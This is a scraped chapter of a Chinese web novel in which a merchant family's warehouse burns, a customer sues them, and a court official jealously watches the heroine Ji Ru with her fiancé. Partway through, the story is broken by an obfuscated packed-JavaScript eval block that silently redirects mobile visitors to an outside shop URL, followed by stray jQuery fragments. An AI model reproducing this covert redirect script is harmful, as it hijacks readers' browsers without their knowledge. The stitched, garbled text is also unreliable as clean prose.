文趣网 > 其他小说 > 寄余生 > 15. 第 15 章
    他不曾真正拥有过季茹的一样东西,而谢行舟有。

    也是在不久前柳归廷才得知,其实季茹与谢行舟定亲也不过才一年,一向事求圆满的季世安亦很少对外提及这门亲事,知道的人少之又少,有些让人费解。且细算时日,谢行舟与季茹定亲时,正是他奉命出京办事之际,所以他才对此事了解的并不详细。

    记忆回溯,他莫名想起过的某次宫宴上。

    彼时的柳归廷才随继明帝入朝不久,京中还无人识得他,只当他是新帝身旁平平无奇的言官,并不算宽敞的连廊下,有宫人匆匆行过,时值盛夏,花影缠绵的檐下,季茹与友人有说有笑的从对面行来,遥遥一见,柳归廷一眼便认出她,那一刻他的步子不觉放慢,直至她越走越近,他的目光才从她身上移开,目不斜视,形同陌路。看起来坦荡又平常,只顾着朝前走。

    拐角处,两厢相逢,余光见她由友人牵着手低头浅笑自他身边行过,视线却不曾留在他身上半息,桃粉色的披帛随风而起,刚好不好蹭过柳归廷的手背。

    是风动,是花影摇曳,若非如此,那日怎会晃了他的眼。

    闭上眼,眼前就会浮现白日谢行舟提到未婚妻三个字时候的骄傲神情,但柳归廷觉着,他们两个着实太不相配。

    就在柳归廷用指腹再次抚过那个绣得干净漂亮的茹字时,远在泞溪的季茹眼皮竟毫无征兆的跳了两下,抬手轻抚,又摸到单薄的眼皮两下颤。

    自打今日听表姐说廉贞司的人到了阳州,季茹的心便开始发慌,总觉着会惹出什么事端,正辗转难眠之际,忽然听到院子里有人急急敲起了铜锣。

    被锣声惊扰,季茹自榻上坐起身,清晰的听到院子里的伙计高声叫喊:“走水啦!走水啦!货栈走水啦!”

    趿鞋下地,披了衣裳便朝外冲去,不大的功夫,见着街东面火光漫天,是县上货栈的方向。

    胡宅各处依次掌了灯,胡玉灵的夫君郑友几乎是从床上弹起来,连外衫都没顾上披,光着脚冲进院子,胡玉灵紧随其后。这阵阵吵扰,连隔壁的邻居也醒了,有人拎着桶,有人端着盆皆朝街东方向跑。

    胡家人聚集在院子里,自街上归来的胡家小伙计一手拎着铜锣一手指着街外,跑得上气不接下气,近乎连声音都劈了叉,“掌柜,快去货栈看看吧!夜里起了大火,咱们的货可大半都在里面!”

    林婉玉竟有种大祸临头的感觉,声音发紧,攥着袖口的手骨节泛白,“火势、火势如何?”

    伙计跑得急,捂着胸口喘了好一会儿才匀过气来,“看样子不太妙!”

    门框边的胡玉灵脸都白了,身子微晃,季茹忙冲上去扶住她,“表姐你别急,我先去瞧瞧!”

    “我也去!”林婉玉似这会儿才反应过来,她颤着声朝前迈过步子。

    姨丈胡百书见状拦在中间,“你就别折腾了,在家照顾女儿,我同女婿赶过去看看!”

    话音落,翁婿二人匆忙出门,季茹心焦,在院子里待不住,只丢下一句,“我也去。”

    便也奔了出去。

    街上行人匆忙,皆是奔着去救火的,好不容易赶到了货栈,看到眼前景象,季茹整个人的心都跟着凉了。

    火光窜天,映在她脸上,红一阵,暗一阵。

    听说火是从货栈后墙烧起来的,等巡夜的伙计发现时,火舌已经舔上了屋脊,把半边夜空映成了暗红色。火还在烧,货栈两边的屋顶已经塌了半边,烧断的房梁斜插在火堆里,像一根根被烤黑的骨头。

    街坊们已经从四面八方涌了过来,扬水的扬水,传桶的传桶,火光下的青砖地上全是水渍,赤脚踩上去留下一串湿印子,又被新踩上去的脚印叠掉。

    此情此景让人倍感绝望,她的心口像被人猛地攥了一下,自骨头缝里渗出寒意,她想哭,眼泪却堵在眼眶里掉不下来,水灾之后胡家一直在想尽办法补天灾之前欠下的货,好不容易备齐了,存在货栈里就等着隔日运出,竟没想被一把大火烧了干净。

    风从她耳边掠过,凉飕飕的,带着焦糊的烟气,当真是让人绝望透顶,想朝前迈步,可心脉都已撑不起双腿的力气,只觉着一双腿软得站都站不稳,喉咙里挤出的声音都跟着颤,“表姐和姨妈,怎么受得了啊.......”

    这场突如其来的大火给胡家造成的重创倒也不比水灾好到哪里去,大火近乎是在两个时辰之后才被扑灭,货栈已经烧得没了本来的模样,存货更是化为灰烬,胡家三个人再回宅时成了花脸,甚至没来得及穿鞋出门的郑友扑救良久之后脚上已然磨的血肉模糊。

    见三个人灰头土脸的回来,胡玉灵便已然知道了后果,一时急火攻心,两眼一黑晕了过去。

    飞来横祸让怀孕尚不满三个月的胡玉灵胎气大动,连胎儿都险些不保,好在胡玉灵在睡了两天之后,终于慢慢清醒过来。

    “货.....还在吗?”她一睁眼,便见着守在榻前的娘亲和夫君。季茹将脸别到一旁,根本不敢与之对视,胡玉灵心里便懂了。

    因为久眠才醒,声音哑得似破布裂口,漫不开的绝望与崩溃,“那些布我染了三回,才染定那么好的颜色........”

    林婉玉哭得眼都肿了,听女儿一开口便又落下泪来,身子前探,轻抚着女儿手臂安抚,“不打紧的,人没事就好,你安心养好身子,我们再备货就是了。”

    说得轻巧,是在哄别人,亦是在骗自己。

    这些日子以来季茹在胡记记账,先前胡家损失了两间铺子本就元气大伤,这回补货的银子有一部分还是向钱庄借的,若光是这样倒也还好办,只怕收货的主顾逾期未收到布料会追赔。

    哪怕最坏的结果追赔也就罢了,可按本朝律,违契不偿胡家也免不了刑罚,虽说此次大火货栈亦要担责,可若真的闹到官府,怕还是一笔烂账。

    福无双至,祸不单行,怕什么便来什么,谢行舟亲自登门带来了一个坏透顶的消息,主顾李老板,竟直接将胡记状告到了州府衙门。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811036|210827||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    胡玉灵这时候身子虚弱,自是不能让她得知这个消息,郑友只能瞒着她去阳州府衙。季茹自也坐不住,提议一同前往,却被谢行舟拦住,“茹儿,我同郑兄去就可以了,廉贞司的掌事现在也在阳州府衙,平日就下榻在李知州的府上,你不便出面。”

    季茹承认,自打廉贞司抄了她的家,她便对那个地方有一种很深的恐惧,可她不想像个废人一样整日缩在一只壳里,等着旁人去帮扶去救命,她也想为胡家为表姐和姨妈做些什么,更何况季茹“已死”,谁又能想到她死而复生呢?

    “行舟,你身为知县最好还是不要陷入其中,以免落人口舌。表姐有身孕不便,姨妈姨丈要留在家中善后和照料表姐,表兄又在县学上抽不开身,胡记的账目也是我来整理的,我更清楚损失究竟严重到什么程度。”这显然是季茹一早就深思熟虑过的,并非任性而为,“更何况既已经惊动了官府,在胡家的每一个人怕是都脱不开干系,我躲与不躲都没用,迟早是要面对的。不过这种事说白了也是生意场上的纠纷,即便是官为理索,那也是阳州府衙的事,哪里会惊动廉贞司呢。”

    虽她说的有理有据,可谢行舟仍有话要讲,季茹有意略去他欲言又止的表情不看,转而向郑友道:“姐夫,趁着天色还早,现在入城倒也来得及。”

    在早些年以前,郑友也是个读书人,话说百无一用是书生,这句话用在郑友身上倒十分契合,妻子胡玉灵一直是个性子强悍的人,如今胡玉灵倒下了,他竟也一时没了主意,但他还是觉着,身为男子,该顶上的时候便不能退缩,管他是刀山火海,他都得冲上去。

    时间也容不得他多想,且听且是。

    泞溪货栈大火这件事一早便传到了柳归廷的耳朵里,州府治下的县中出了这样的事,于李知州来讲自是不光彩,尤其是在廉贞司的人眼皮子底下,他自是想捂着。李之召不主动上报,柳归廷便作不知,并非他不想插手,而是他从暗桩嘴里听闻这场大火近乎让胡家倾家荡产。

    他好奇季茹会怎么做,也好奇他眼中谢行舟那废物会怎么做。

    于是当自泞溪入城的那辆马车遥遥而至的时候,阳州府衙不远处的一间酒肆内,有人正将现下街?尽收眼底。

    最先从马车里下来的是郑友,而后是谢行舟。

    平稳落地的谢行舟下车后第一件事便是回过身去,手伸向车棚将竹帘掀开,随之一抹身着天水碧色衣裙的倩影亦从马车内出来。

    柳归廷眼力极好,他清清楚楚的看到季茹的纤纤玉指轻轻搭在了谢行舟的掌心,他回握攥住,季茹借了谢行舟的力自马车落入平地。

    这是柳归廷第一次亲眼见到季茹与谢行舟并肩站在一起,他嘴角无意识的往下压了一线,像一张纸被轻轻折了一道痕,端起茶盏喝了一口,放下的时候,杯底磕在桌面上,发出一声不太爽利的闷响。谢行舟方才捏她手指的动作还在柳归廷的脑海里重演,原本搭在木桌上的左手竟学着方才谢行舟的动作虚虚握起。